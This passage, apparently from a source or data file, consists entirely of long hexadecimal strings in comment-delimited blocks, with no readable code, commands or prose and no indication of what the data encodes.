13ce75987a1b80cbd22bf2ab9470ba471afdb907f3ba1fe8b860b5071504ac439b2dccfecb85b4020c153cc89a50c8478b3c30bd5121abf48dead1aa8d7b3e11c3ca79f7f519c0f8bccb312ab13373b8ae97558965a061cf6462ab89b6e424995f129de2fdd804c12058d47bcc6102405e94961864d7828df7b0f93265d2c9a2bc707790a0ecc0742507119451fdb0b30301ed59cef5608e18672e6d6e5fac51f75ad7cb49656512710cd5f83c1aba1177e8b6e1cdfda6b1c7aaa5e721036289843198681971278bc9f546918426a78fb2270853a05cc88d67039d166e853d0c67c145bc04348cfce066ff24f281f83c3a90ad720df9a6e01a2c0e34ab70e2b0acd2487b858044787c9affb8931bc252f42c732b4de18e0ef699786a71b0ef8593da289ec2229047e33ebd298296b81525b8fc3acc992230d952a468ba3db2dd37f1f1a5e38bc4c473ef29f6a32f8bd810b4b3985139fb8ebb3508ec1c565ee8598f618160eec38baf93cc4c863d232716d25468bfd50d0653db46ef6663cfa5224bff01a95d4621f562e3caa4a225285e731bd88e30f6155aae2106cfcf5af9f7bc0a704a98fac8b6b9d6b0043dd9c0cbf3832b2e05d91da75cb3bd0b5780edc2ad797be3640fd2308a0f7bdbe5d4076463bd25f8bdcc8d317dfa40919c135d7e9f08233b754fd419216864ef8573a36ab8dbeb4551532dfb90f0a4604cbaa28ab57e8fe9b34a4fb5beadb192c212098196a610ea4ad059211e5bc5a28e8bb1c29435d4a89c1cbe4a9280d1a54111a5e7003ed09647d41fc91a271cf15787e3d41eca6f9ddf05187e1c09b521fefd04b5603296c24c07326fc344146dbccf998c1cb3542feb801fdb5abd7bcdeb1960315554579f6858e79663a752fe5e4818bc00db442ad4f3e0e6344622508c2040401ca243c5ebf06f0af6c3374e320ad6e03aa4a6dc235ca748c716775de9f18e85cc51d2c7f8b26f4020879a256bbaab85caf29334b0f861c70a9547bd759b505d63f801d9d500e8b3466ec1ab8a2a70a6254bc1db8f7a206d99bfd8f9715b49328e26c12fa46e19a5b9d800b5ee80de6c6232f1dadb1fd862a6a4a5a68cc61007b574850686460f4b63e6a736335ed986de930670c494668700b6d3d7a622f66d0b67c77f9978823e1f303a567305aaad3d3e0fdb25dd14683f1099c2fc023ba96d8495932a02ff0ebd4c075e6db71a8e9d12a56677cad0c3febc78cb484*/
/*3625bdd96098ea65840a737fdd85ea842c411aaf4c3289f4a05b229127e6c77b1f81b77293eb11c35a03d6ec5e5b5ddcda204084696cd60d80cf7152d1fa1f0217ea198b6e6acbfb3f9eb4a7081fefae6c42369cd40862cce93bd349b232cab787605049c38c8b54e74f0475a495dd947054637ee7c97f63aacdac895b8ca96ebcc16f0ea955efb14736d6222137f102f7f6c862a70d185e172290f34045662a0ae8998a2a18141e8bb598f13d2f840745dd2030e4a36fd03d15d979fa995d9915340d73d3da71533352e51d76a98f773efb4694e67d8ef3447f0cd3fa5906a0c36633c7fc6461e1ecd66dfcb4408f379363d3bd8bdf83842932e02236aa670903e200d3f1d62aa2e6c729a84e93c2a473ea2e864d253fdea430228c4ddc8765a3e1e2284dc07a6020683c0995b12c3e01c853c1c3aa006a71ca4f34d95ecbceda130ae0657ce8daa77e5c5b61067c250d5d854e1a3e6303bda49ad1c985cea70f9b4655e0502a18d55f3523c7f513dd6969a5356f6c5290d1edc406aa5923298f229622b32ae591f7387a50621fd10822b1c24f53a526d190cb9b1e65ac0e6507c916ce8e6e868141cf56019734e152e13c271c03b27d6cdf72cef13045b451068db4a770c37cc32d82e3f9212ec4a2bc84c4f4ab8f63fb0e458e6cbd70b60b503414ffdc6cc49c86258f4031264b176e237fc4cea53523d12a47e893d6b028091d6164b53beebec17716966e0b0f342e43830f952c346c985b5bdf3b89c3641926c6a3693224ed2f0e71327efe65a9d59b0221c92333d56034350a82ce371ddccf7d416261e5f081142145efc3f40cdea5b9d27b27a5bcb02ef0c90e52367260254104a495b9c26e48853643c56d7be8e7886420a46e4734ef9a2ec5ff9f5f017266211d0f26f5cc321ab3297566c6f53a2f4eab3258c41cb39b7023de787b87f7e250b20770fb3c7d6b75f4ee6aba9411662a9def736a5d6241b367143f60d23e70a7bacb42afd96e1d73db548be75a6d509f29148b2b8157c7524899f745656d156d07ec6b80196c484577ac4e28317769b83a179f0e00e386757583ddba0fec61f65a0fca6e7aafeb16d39692674c586fab912698b427182800bad0b4c4a45b4a334b7c7c481a6bd26baa08e092ba5a0583b3abb0a85cb4f7c1f4de86be4df8934507ade67f777e268803915b228515ec6c96e9c7e545ca271972a1615d924ef42a4ed1cd8f214585991b3f09b43d2d9edb86ecc91215a08624d2f5448ee4a9ef1927fecc4549aa1698ac624b923c98a941ccf262fcd2462a5bb32d1389b3e689c35bcdc033414727a0473050b59be4f0e2d7402c679fbc71b3484fd2d2b7fbf8091ade443e68d742a9581a2075bb15490aac4a69ccb5ee173ef74b8fba93c3bb853ac21bb1a2ceb4a0691881b8378c947ac97a9384fac5be1e76fbd4b5bb040654f60eaca0ab6d2186679057a65c2fcf3b3b95bbeaaa4de6c4e6b93b1f4d5e28f112b9712611491934c5cf143d03c9b8cff931a5a0b724046242a0a9809285cab588cd5310b08eead126c076367debf8ea158a12deb96db156b1076e8e3157acfcfd322e0cb00b1fe21a05b9b091e8a99cb6d439d742e342827b11f3aaa61efe94ea57594ec5d4e2090fbe214b12d9ed8bc629caea29d14eedceb95bbaf5bbfcdc189d75357711679fe89065259a023f45707d96006d5686b2123d66f6a85521622ca637511216cc0b66e8cf53ad68096b4d51068ff091aa6f7725e1a40ae4b188359f7730891a41c0809712605a582c76872e651a4a647d30c1d18731010812c18897cf99fed341ff4410564a2ae3d844f35ea0004401e3df0aa17fa6444f9d7c73f2a7c0f0aec33f6a5072ccc1c217e101cbd7272ae17a8582f05d36e42f9e6ca5d4cee161f64284abb2d06e1ed999ece37791a668e7e35a316d816817e1ee25d49cb17b403fa28b834a9b284338c20532b5c9133c4376006b227d3cdb47c569a63501b730b263ca141e255dbb046b9d20894ddad88cd0746f2439b180c2b4ee9b4d6463d8d0ebfde665664962aab1f454e2a107f0c9319dc8b59c3e3e32f344dca45cdf835ade8bd42d4dbe257619ec3dc51f02669078f5bdfbd3a23b96737b379d208b86086375f11fff6aad7a9d088efd771066fc15792ebd27133d88bd0713ede09b5a8debc225a2bd1202abe4cfe5300e000cfbd3501e5ac442286eca7e7768691b3a8b6e21b66b70494662373eae1f9b2d10119c8801ad2126fd7ac0670c1171b5e93c463a7db76ffb63d443283a3fae6bf1c69b1f62f3febf0cbf754351f353b2ae604945e5626d00462611e0883314e42295d4bf1109be13df1ef405284a47ba7bf3bca52e5480bf9b5507e92b7fc2d1fc2d6dc9c1869bc18302d939e5bea903ef17c70d75df1f3b3b67528da6b9ded609e8c555774e64a85878b3cc2576234ef678623df413aefff0246bf4665498cb602b65361409159a35b0f5efd52a69af897911f8d2c8ad248309f556452472f9f72f7d51d99884b11eeeeb4838766902fab5acbc1bb2470b7bf5416cb01c763e736394595443e3804cb3dc94dd6541223129e77ccc9278ef0af1d3f50976ce6036ba37aa7219158ac327eea06ee27dda4bb347e85cb08a6d2eedd3e744070de4c9edcc9d52a44081451ef66eefd681864100c1615145178fc6b55b25960e34ef09da0d528738ddd25cb10864fc069847b30fd6a087f8eb0ca286fbf6b143d38624a23d7e146a4efe0b9e5f717f3ea9e66a86c832619944c7887a193f08349deef34523f9e8b5ea0b641975485907ffb467421433932e1c13*/
/*09392bb4327c2eb1e1c37b0781534e7d3a9d8f27ed35cd7be6d9fd2c3da1eaf72d6c87008f4277411c5ffe569817786d61d7833361aecd30e6e5fc5893153387e68bfd11307e2c19b607a188a728b35efb931879b06739b473d4036d85b2e80e1f64be65c01b34fb372c3f3cf1f375e9fceef97707df52624a79cd5f7935f9e4619c273a94d1fe014db624572505b22824964bfdce642a4580e3ae949c9e935e8d6a5dc1d09ca266f613c9180dd7aa9f9040c425f3e22af4411cc7373b43123f2027948356f3d163ff835d3abf35e9790f3cd4dfd058ad73667ca46d88c576db22d71181151052b52501002b178699bd85e46c75dd91459dbd49ebba0e5c801447b34471115654496eaa06fb211d2256ba335b55fc0ebd78d138351a469506268a60b1e91144c0962e232ef7380f5e51a636b43c36384623684c0b46553f613e6008cc1feeb1808e6d1867660c520d223ae1cff05b96d604f936a92832b8f81966869407281a594d770a9aa663765b15f86b1b5bc27ae9c435b4b577b31ac37c427261eaf7cc283f19224d72d5737651b9ab505f5b6da9e6cca5660c9c618a99d034df8b87452162de393462ef8538a52e7544c1c10e5ec1e0e65aef77d5810d968afc40165050d425a1bf9f6c5ccefa4a332651e368109e11424eb3e2e671d42b7f2b4108cf7d342d72fd08c010aaa66e781355b3b5f3344ca6d71f5f45582e38c62896b89d48fa85bb83c4c8f6f130d4b14bd9eb66e4af6eee018612be943a36349d825dadf35a93be9506eb5e676b6b0d38c58929900f9872c5b01ee5f83481b342de707f31568ad6f87045c03a39d72951d07cab3aeb96eabd2c24683b7193c570196bcaf4d0762b4a6a40817ac41af8b48cb29e6aeb528627f79c65a1775ba6901ef9bd2ffcdaf85270c5eb966ee9c5b2850f9bac6b0f7cd0b8ea987c7428f79e72229acc0bd717ba05d3bfa7411b9f4849167d841c2fbabbe4503c27a3d944566299c45943653be251d84de9d3205fb892e46936e88addb7b731a46b313bbf0d4717dd35e1f8d34d2b765e443f947b3bbadc5d8c3d5d86b9f30f86bd1888331030e9f00e9b504c5e35e2da3ca934722faa075de256c99807b63134e043c48dc45966c19f8db510697084eaa72f84de7295a809996671fd3fa1cfa1b6551e3df28f9f275304008d97f1bda6c7935d8127fe39c5e335611dc32b0c389a52dd0e0e5b4a073ada0bea2d84df267a069cf03672feef6875b7217838d072a7c9ff48e4b5178729fb1df9c7bcfcc46e68c0f0682bb6dec9060e7278ce7c0929388f27b80c811f5426c0bf42f6f941637dd36f6957635626c742d85b5303d817281b626d641adcd61c0673f7278d570b4f2685f8a88c7bf29c1132d30186d4e73e6b6af3d04d2c6ff9e414236ca327177f9186ba98f253460931986f112f0c1249729f811d3bc5230bdd6f6534ea12a8d608839c655bdb32c122e3b9385a7506b2f94eb7599b734806e413afbbb6b5fa61d185d738899ef2454bae7ee73a515a5f601575eddfb5820899446e40769984961426d8da842478a54391ec2d8336dfd25a46f084a54a370ccd0cb2f82b879da7ce0e0f22a488464ebcc7a0fcc815fdf9c1c468a2a4a5de843332e2c9e21d3555c34df2219281a5d5ea745de035a1117a69ec4ad2750e6e7c956a7427bcccb12fd826a5bb7058be6d67e8e4380f185b9108f88384153f0ad90cb4bf601cf12df699f6295430f03e4dc18bfea937141264f3cecb421ac046101b7dbdbe99bf68679a13fa82b8fcb44f092826091a009c52cc219e98d32813b804b27ff3156362640ae9052de1bbe54de32460f15d72bd10317c7517fcb482c29d7a2d7e0e94c8c0e7b8cca095b54505bc9bddfda53b659de348cfd406aef9585afd675ad8ed8314ea0cc0fa4581d0b79edb8aee7dfb0ac71d0ba0319d64647d541aa8b719f288acabcada3171ebc089e4836d9326d3ddd95c5a78b852372d1ae83861b6d9a424c885f994e252ce770abbc2ad380f9c78a0faba0157b2df0a00387a13b02d1b94835a6adeab000940ce5651f117da2152b80334fb188d01a2b41af6ab2edba5f957fe4023d07de5da2526aa81946f424e7c09de6c275dd14997d6e8a74686ecdb0353b5ef111cab3385352dd7b63a2b6218849515f6170439e601387be980420d084ed2ff68e161e28f25467e4a6f4003592360b5e3cf6bd5d0237670a8865c892f84dbd6c464f2e019a9f4eac32911e97b79f51e7f293293d6d4c0c9ca375aeba06631f256b987271e9cd4976d9443a6a093e23857900e13e479cf5ef561b396f3344ff6d164a10de8e9f257ab76b1fa1a24dd5fb5c53cf3fede564167b2321f67fafbb0e13000a844147598687fb1ecbf4209b3453982c68fe3c1df766d8bfcd11eb27f7a5158d57adb344dad4219d0c9019a17beccff850bcf1e17f54198d04dc8303e5987fa58ae5b6399add895d1cbbad5e3838e521a2f6f23a2d91576e6bac1ab597e341689a77aaab890d76037551a7e0058f1bab94c9f093a1ee12686e7f0b52c40fc5e5cd54f1a494349d4e53f7271c3a417cbc78e56cb107394b29d13c40678ea0579c5562edcece04141cd82fdac5d0eee22c175cf2ee429ec2b1dbe2a2be90b661936947f54ea522a630042890be67b62b84eb014759e2f9ff1ca6a6e8596680b37353deb7094b915e345a7424e3c9c76ece8c964b0a240044609420f0e0b05777c7550ce5b9beac07382904277c79615d40a3ea440759d294c89f570e098b6fd53f799df2db0e1d159dcc5d29911df25ea6838ffe117c5e1172264*/
/*5d4b188d8e3f006402ddd9dc3e4db9aacb114897468155643bd5d575742fb52dda8fe6e09ee43b23ea0c4935f58e1d7478333130f5bc1cdf8d32594e9bd1cb1448395b9bff40fc67a2faec03994f4edb19122df8dc52cb02177839e29cb14cfc58eda6d8f97df1e2471ee3041a110071794b0c75d803d795fe30c212a36cbcf29b86077eb948fa9850e49f9d9ae73eb61cdf6bb2e097c1530aed546d3ab114418ccd254b61cd5124ad8330239777749ce4f0b5575e24b6d43978ad1847da53689f81db08a1f513a083beaec3b26af4a441be1989aca97a4258b842d14d10d12073416f015e7a0e5ef6a568733a53a91a4859b8a4c58e09b0ef6e4f38e5d547a027b8544ba1245193c4443b1bb3f334c784022c4207a08598eb2d337608ef4e24635c0d49fcca52eb291c616c141e34c6b34d162256f042909bbc1f4adf33be322230dc0414854ac84d8c60abed927bdffdda2c32da43431fd3e7680f062de075d1afe949cfd16339c0beb4db4f47cdeb4b61d1069bb685279e8bf34a634a352b4a5fa66f218e02d9a9b958179b17c550b3ea64d499a0a922c91e3b064d4a42e9e40a84f48669502dba9afec5faacf39eab0ce2f234b118c3a924dddd0577a745d04cd2490e97630d2ff52e5b10e5bf83e543fcb0fdff2c8d83357e1db93833de21d217dd0cb59cb2164eb7ec73fe25b24173b2057caca84714013bda0ba934c33cc92fe3f0dcf4183138980c47e13e4dd827dd25b5ba39ec990c927b37ac3ecc581f933bca6b17f5f6e6c254b6300c2745291b3cdfbe182c2f347d571ce6254e7e64d098e5732ca39e2cb45ebb39bcf96a1367b140be97a9af9d3b9a9658d6cc844a8267bfa0fcfad3731d9551cd8b65080c46814fac51b0dcfa4fd4cd6a28bbb2668de46795fa9770956a6f319918856c8633b72b270ef5ce99774bb5df1b39d7e8a5b63dffaa191c225cd858eb34a8099b4436dad15f9eb4725a61ed74134bbc9413b37f83907c514037568c1686936cd8c1608625ed3d991064de401f9ca2cde1e3d3f616c13ddf464df52449aeb4ad42553646afb78af4579cb0442737c0cb698fe34498081b765794b03684d7b51ed047986d707da6534edf32d40a46b7d35a375f420e3a53a28d7082844dee5e9b31b987717b7d84ab1f69fde52c3d2ea48022ab5ac38a2f7c8919052afa349370301837162e08e79dbb548c41a444bb86de10af8f8200d46509bbe500df5cef901f1ca52a9d09bbc1c4e480d64292e5e68eb86c338421fe73c07d697a06131fc8c243190691a589e4140d4f0fe5d4975a05862cf427ee9afe4a3223311792b75e607359c3749707e993a34bcb6c0dcb8b0e072eb46867f7038f864b139b6a161d70a97ea83c92da0ef7b85b193658e55623681fce29ccca345b7b6681320e00bd29b6b407b5b5d80421673e2476f268a093039bd7aff20116cefc00e5539c2152a1be5a1501588540ba324053277ce07c0ee80b41212a93cedcd54c2888f306589705208f6203b924beef3beea285ae154be93254e4875dd7aaa2cb49381a0b16f96cf90b6a6e5c23a7a600006ac014587b2f9c08aadbd56a2207fcc877e1b9bf9fa3fc30b7a40db096aca3255032e7637d23c03b97b305ddddfd80f47080945d4941aa066b7e7a168d221e7949e2afee3975acb8240f2b3f1c4dd6d89f0df3b526a0193ad430eba99a9d7c71d85f5f6cc9228ec1f43e43fa9a16d8ce5a93d623bc51eec62900dc85f1bb78546a268d4fe112bc14b3e562ebf769cfe417b13bb4fb67799915ac0557e2da971002ff4b73bc4ad56a27a55dc54066e0cd00c7ca6a19cce63b05c1ec96415beb71b3b8e7e490117eab7c4ca6b03d390b6a67b5b103c7358fff8edec40107c5ddfb655cbb20884501502e80b143cd111016eebc2120b74428b0ca4d7c756012a532e06cadf9887e1bea522ec47a8d146ebb144f66106ac62e84ce7c46a32c751b8e903021fbb83f4fb1dd4b78b7447304ff601ea5d3b80b91226184acd89276175665d999a2b1e527bf5d348d1bab6d9304f1f044b7b73589dd97eea747b19d860e127bb6eab9d9ab71f91f80c0c4e9f2207643eac432c5ab3d1e4d1162e9aae7e1485f31189056b95516c4473f656f716a1e931780713e6ced9aa5cfc91ad87702f9de7f99f066b242604604b89207f38d064b5b621e855f3b9240a25ae63b815398420b070f35f37529e6a8aa7d36eef091d96a2c3111f8d865f10ba633254a375810e5e1a0c7a3c09ad4be93686c18ac736abe924d98c2ab03fbed77afa68047e1f8454e6731668a2830e348ce572f0d012289bc06cc76c0ae06505e06a35aabe00f775e2f5480c3326fcf59a0747526fc5b29ba8264f24889768859343d7423b1b82b3005b137ba842b23281677937ff110dd647fc4411948b61253fd1227deac4f6e4251726031bbfc4b9e72cfc8e92191a2f1ca1d80217858a27eb532153ffe1cebe31135a1a552f8b7433531c2952e242ef4a7d5c91ef6194df407a8ef8d3028504dccee913be781e3e6c707515fe64c2cfee24019830a53be47d1d67d0786a16f88999591e0a16d51dd77aef90771d11bb8bfd193dff4b30cc9d05c2ea0ea765e44b62bc29a64f3b08457d9c3e59d5111167afdabcd6f4f32fb7604fb1d759e60e3dec53b5da8f1e884f8360bc74d0c546dd46d42f0f22b74568cad415842295b8af439a45e2f40ee25b2a4dd2b4fd4a1bbfbe70a00419bbeafc5e612a1ae91ba58517a81f481a60bc2126222eb9561f3734f030be0c9f7e301eab56368222f178994647458bb2f56c391b06f7fc44f85*/
/*59ea8d6db0be4d48998514843f40245a73feea2e545f2a1205725b503fac53d3f874d700739a2016cb868e8a9e48baca40d9b8c744453a60d3e70cfec868f83484b71e825ca576d7eb68db194ffb8fbf768cb919833067d33e9ad530287297301eabd48e005e5d9edd38e566d698153715946054ecc6ab93e30bc55856b925509dee713391612c14bc6f2ec641f5de6bf20e800beb66247b09caa9af33f94d952d676a8c0b747ac0a0e48bf406f3fcbc130dd7a430cfe100ee0af9b059567e8958c60a05dfeaf0eea58b708079389f6fd9403f7cbba2ebc0bebc8b6fe1530689c36171cfb0d5e54c9ce8dd52abfb430af812e4597d8345de8a7c127ff1656ae0c36844cd6a38184c0f793cfbe52229a9e1cc0c65390b386d5e7c8fbc32dd7e31ebae9c552c6855c7948c6007926f9c4cdf6fe09afdd6501b1783e97088fd140db732fd61bd14c693afd453be0d0ed1356c49c15148e7c14a459d9d28b0308e56a4ed8e801fcfc5b408b0169df0ac7afb2efbc255cf53ec2d51a6b7501a0027623df9ee71a16f3fb3e0671757d5e2fdae2f312a492af5081cc63e08eb03313253938afd5b00cac819d68ea18eebf93560b4a71edf70b83392848963e1d50c66211d7cc19481cc133d63643bdcb12997fe18c16e306abe0c9755c228cb5525c582e8ed3ff5de4d3b5a9d82b440779f299a996180e054f4fc3d2475170102cbfd3d310614e65ed8fa9d471e362a3a65041f01379c39e56cfb639454767d12f98e4df6d564ef244f8f50cbe74a42ed1cad384e9d25190eb5789bcb3dcacfd708362b34afa41179928be3a2b50786fadc1bd097a358fc023fac2fb792f549bd9f97076729282d671e214af58025ac1deb950218d08890ee26dd26c45d0c2c88ecbd2a71bea44ab346273472bc6d95cee1a3fd35b032f7b39149dbe0cd0cdece1a88161e4e9f8c39ea161fb9b2222d1c2457ee0823ac6ee7b5b72009eb51cd34c60672ad00dded8d52c7e742b88e1bd11facf949d631c8c629d4b6440a9b1dcd8ab3b5fc5a0fa80e6403148917ddaef9c047ee17d368515b4c536ae6ac962da5adb71e5b3960a8b41ee20e5be2608030ad011970610c9dd8066ec17c9c29d9de4f7627ac586bbc1d7db6f58b3bbecb45c80a584213498bc7d1aec6c0cf941ba0cd9c79beae2df229faeba8c9bb6dc806841eb3a43637061554638c0e896d59fcc9579a78e4223486fd895a32a9f513d5b424a4b7f68545bf93d01424c156f7f2dddaa28c18e09a5b16d7b451f40c870b7f7d04a5eb98383f1490b0915c3718b5b68786c69846bc5788c4eb3844983852620f6594075abdbc1b3f4c4867a9f6007d0b15ba19035bdf66d67e7686231b7385e76640e37bf6bf6537221ea834f63cbfed7272d88a016266edbee0af7c7f57fa8f445cbae2ff0b7d819566cad092d81c62647cb29ef3e3056e7f913e1c44d589a6fde062a7a4e451fb42c7864862bd64eb260afab17c65a386a3be6baf29a374eb85c7a48aeec67062ea7e4bd4a493d06d904460d545e85077ae63661ce26dd1203b975b690d0274e94aadc29d979d176f03e638a262e67aa39dd2a55249b4dee1c914e82cbcee44d2e769686eb4b392e6eb94105a9d38011dbe3d0f7105a6953d525f1bf7e51b192272fd10f439f57512e53db4da45b143b26c51752082e61ce96ccb91d675ffbd47a12f44f7b7fd0bc42b418b45a343762e83d26f49eacbf014416f99164b2a4c7a5c5e67248b05cf3b7c77285ba48f5e70191ee9e2269d651244435bb84380b542c60fa08ff5b1bbd6e597f294e07f2f5ffaf8f894480595c6f49d75705cb6b96c844bf53e9e84b2e0dd9fb19a1ccbdb1ff263b8ea36e445fdf8588c878105693c3b75876404379123a2a68677af04a095a0b8b179a0ce78e0676c0350cdfc1d5113f38240ad2459c59154c0411dabb17abe6c9017a743de8b7c32660c20c3da91762e4c4cb777ed1025a07ffb53c76b9a75612e215585ddb4557e432e40b08faf1a2e5efd26d87e521ecd7c596bf18b6d2d00b9a896b0c173cb984af16fb6d429cde647014d6db45f56dd22eaffaf8d2c843c507ab1a2b4ac056cfd0e9ff11141ca50ef4c26c94082399c92eca9cd8f14c84a2c9b4576435d1b8c9aa2bbdc11402705509ad83fc8d720e9b8ab09433a3b8abab332f0c5f2c735dc1de16ecddc2cc74358c169ed9338e151873dcdd10a40ed9819c6c42b08282ede18a525aa9f6d543fe8561a7a04190efdbd016d6ded2664a410b99ae5e54499b1a266a95f2fe93c59f8aad1f6232ba4e91297f5059824d854db94da0bba71574a74efda45c90841db1ac85f1f199f12ea2c2547271300db0644e902934192f91156c1916aac194f1ba7a9f1814f7f3662e351fa0ab8adaf02354e567f75b634cd8c8b0200734439201dacc231604d2328b78bb5085414c123a22de80fcf8110fc176f930f5c77b901f71c5aad4484d23cf03394c9edaad52bf8bc4ffd31e19446d5d05090a6ebbd1f47f942b7970f48feb8635f86d01237d66c09296f053bacc734385a84a403a2b224bf178e111ba5d2ed331d58f48c252e5955a00a163fb2cf912459a0380f1790cf3c2e5fa4ef525561bf2b1407c68848c9cb052c2c1ec13b40ba870e40d4487651c2592ea652c2540230ee171fb125d6a122729126a9721df03af46447d3aee8206c4d560bd70c038ed67779f106f35555455bd919b2163c240a9e42e2f36e61b8c8b6606fc7688870271a43bc6acb486562d26416b38d3c4fcf300149e98aca34d54fc52ce2b5b928be9b515b46cc2d4245d250fe69a4*/
/*d4c72d7cd30184f5d4370223237fc763db95bb9b0b3b4f906a444de905028d73c08a97aa1852ed602367c25cf4528ee8d5a620e0cdb74fe7c84a657005fb6286778080d4857f8b285cd6f42908a7b0281bd2c367bffbf6677515c9a9b4b32f33dc8258c43d1a1ad7063eec01d4a5d02c227263fd9633a21ff24c9f4811973f4c66be9d6d0e933298070de8f57f75ff75d6e7f248ff3d5b7ac6bc3417a24d129a4e1543b9990efc33a7f3418931b3123edaa006f110cae4232d04b0b800bf2d1cc1b6f37d6220f2e779a8255c0e50f3b056788c06d5f67c300a6d4a35bc11630017408b0630495d2dea8a880722a3cf921b798d504043f6c08b2508af2fb075c9183d505ccfd21dcce9f8e6cf5654ac42175174b2af7ae7b0b387ca8eda8135d1c7c03f1dabc2aee7581ad7787211b3bc510261ef496b8786a9322272c0b41cba8c480ba5a19db07dbf330420abd76b1b182cd5594131e83174000f0210e0b026613becff953cda59669e523949b37488b3724041356ac5b9628956101dc30cb7e6d20d941a880135681045040243e027c518fa8595234e3bf59224dd3b407ac4d1e30d87fb82dd4580499d31cbe6cbc199292a0fb4214d5217b46100a2eb91403bddd30cc34867247335b6eaa7c5e2ab07d0f58977ff4677a668fe689634d669ee82591b1ba25c323b48c4b75af2611e29a071b1eea36dc2a3d0a2ad84266da6af2858e0c69a058c6edd1f7b42b1a16e4234eb3034f31161e0db92f09f60699e9a5699869746e32c12f9484370ed797d5801037dbb2a38d070887278c545126c4a0cfa94bc1fe993ac8f9ff4b74db57678e3cf6d9ae261ac3fbabcff513b7b0c74dca3dd6197e1ad4a777c6f851915d5ed278d7e4e3902d8790b961b6bf13cf8d128ebcbea8d297fc83832b878398fc45b9d5c46f69254a9eb12dd22de81c46f121c5ce60ac30b30f1dbcae7093854dbc748d9bddfd0f1e745773d18f99290c006607083bbed2db2382d566f9b9c1ff731673cf582f2fdfddf2f2ff738a3dce8216c65fc5eccdbe4ad41fd2c4cb96f9389c6d81b2e0e47d0bd72a9d75b83668f88582667e2bda3f0471c27ca0541e8045061f3c56dfb656c670a58e80aa2268cf191efe297e290cfa119ae656aee00b2ad3e92d44a366d98d2cebcf966e30bb85de45f561843ce33050c8b8885075084c0dbf2eee7b7b419c4d5cb38ce1d72433de3c2628b7194dd8a700b2349db577add0bb370d4c8e2733e1587f43a57b62d6082fddd0dcf16ef28fff90803bf4e210b2a9cac6e3218ac64161e763060581db86f4f499838ee5dcf8cc6261ce163fccfaeb342ab919b01e30e910ddd1dc35b8243189c118b92752ad0c4e166cff7d6a7aa9561410d023cc7c3364ff4655113dc1f8d81b861f744c2f23866ee1d789b9afeb9546f74baf80f392659724369324dc1de4f0241b1fdb3930fc682a5d965bfe70a623c788c3a1f202cebc18dfebb0b57296c1824ea338b1de868fe01c082790a3717fe6aef4f5a5044279bf7bebe1e2388b07a4d886ec688f0b06a7d4db6313e90783bfc50b7895931fa35d8f659a85ca980ba496b3ededba73dea13141017fe3722cdd2025ba1655dd9e12e8b42e2bd3484ca287573deaee3b1cead1b4aed548b44ee3473c46a0ff43eeb2a7981e752313d423eb09e9b7e0de2beef0916800134310391189b68f84dc60e3681b64b6d6a9cf58632d9ec12e83e9110f54d50c46cf1b9e7f5c3fa3310a459d98b9b4fb401e8efb63e7135f4f6a2719d76625c19f3e2a991886e6e2b6cefe59a188f03a22f7f60cffd84344ebd95a632a5a25cb5d5a72f5eabed73315123767536eb6b1d3210abaaa0f3f48108a3bafc1d66855636ac041b2428f25f1ca0a97f3c3b3a4fa6cd76dba40de91bdac9022edfc329b34537f541d57d96173710f99c7cc38d744663307029b7f830acea7ba3b3d8c9e046674eb783c602b5512c4e6990433c5bc2d14d90335042e0a8970d2efbcbb050fc50a4970b32534dcd52462a33b24b8a561f6b927efce98ed7ea02e8a27d4ce0319c5bbc309f7bc929c10657379014c83602707cc572e1e1016d68d918db0e087e2d4c59f045a92314865f439dcb219b315d470670d2c9c09f611bc0ce0cdfafca8048a757dff80ffd519e8f026ee10c3f0037e4e6c163163e1d952324b0887fb170c3d9e3ca3c5f8fc17e99a46bb730fe7fd49eeec61942c7ed6d99b069a474e434ad52c44f7ca9b334112d9d023c2b8e14810d891fa8d3e79b963455b7f1c584cbc7f5e1d92674120a6725dfa01dffeb9e9af1da0de9df45f2b114da3d730a99f17c44d7d9bb9221471c30c99b4cf9504334065bb2c0a1cb9647d612ef786e8e64ce12128e7cf932a2a0979907add1d4231f21923a53944ced0a89a3c1035026d96d5fe1a7ccea143110bd906c3d5efb2ea4e601279876fcbf7c57ac4e87b0cc981b673c40f95ded71b0e3b098015d50eeede82678a641043173bfe5618d662582830cadb87687e211e2e83d9278a9b0603abfd85fb4bb740616fad432dc8acf1c5a0edfbabf4edbdf99d41f4cee94507d1cfebfb8c7185ea495c32af040c9a7b4e5c0fdb8410d8b7d6650808bad56ef3e90eff782109c834ed1bb3f2fc6b45e35bf8090b13ecf18ebf11e8155b2d45a8e1df087c8ddc8cf60ec6d3e53f5e579d15f3d8a122e6e4cfdafe20d93b988c81624f8ef26c56eb89c923cf07498dc92f3c0c059756328964dab8ed826d8009bac107b479ce102b2bc67214a897b55f4a5d478b2a493aed0ea976bb636731fc6f5ef7d432bb5adb08cc6dfdf41*/
/*c7221fb84cf46c7bf1ff2d44cd6450a678ec68f21bc3eed573878e3ee4b01a9b75f8f8a632b340d02964012b97056a7396a11d9ced268218a5f63dc8dcd9895df3d8004b33d3ec841dc8e43b4932c66b6a06d83c14fc9e6232f2e71cce608675ae0672a80ccc5a2265d33326e52057730049f542af928ea91d0f46e2da31cb35e25aac8bca3046e71bd915bf742c0cb1f25afd208aec5f9393e2b1eb35eaa682357d227122f8073dd886b441a9b0a81fe8bb69a3542821968917888617d8a555fa9c7d0abfe746dc46a87c5dd2b82d14704d26af4e808d2072cf8e670d78b6e7d9b506c2f84b9839f7484eaaea2b6ebec145ba6ec5d67d141d5c283f277188506228b0ecfefe80e6d5caf48169925ba3bfeacabd53ab4098b7c7cf1d3b584143123669fdb6623fa8e941491f807cd8b5cf03001aaaf2068daeb9ec47ba93200bfad84f8886b21711eb9b9d7934f037592e3916018731952067f25a0c75ad6f032d4c986b1170db93c1815aacc46571fb5fe78a4cf5ffb2eb861fe56ee27f6f267537cf47cf9c60db72d781f085f54301e3bc3416c12fe9ecaac2d6e5f5721d449a685ff2208b7c0feb582de8047eae31c0981ff2378b54b272fdaaf5c8600fe9a29be35a8a0457f1b1a57a3946a9ba5178175c90248b4ebd25a95a6ab98279c0d956c0a5a851658cbe876c252b4fd3cec72854f19e58738846aea8d527d6ff833c06ed4d76116774bb21f22a6f7560a7e552e0f790f388e228df261e44be9b8a90d88f770a3e7b8f5e9bd0261ee7b3f7bc34c0a98a680298476bd6294b34bb7e116b1343543672854abc4f180d28ff3b4a020aeeb5204d14fe3f36e3cb44c22b498ba7b49fa5a8bc9c8af10f78e4a7f09b4456b6b25abbbf7028ea11b98e2780ca1cccace81cc33f16042ff6f64c5088a95dbba8aa8039323bd0d3136e7bbca45cd100175c5116a466b614b81a947c229b63f7298931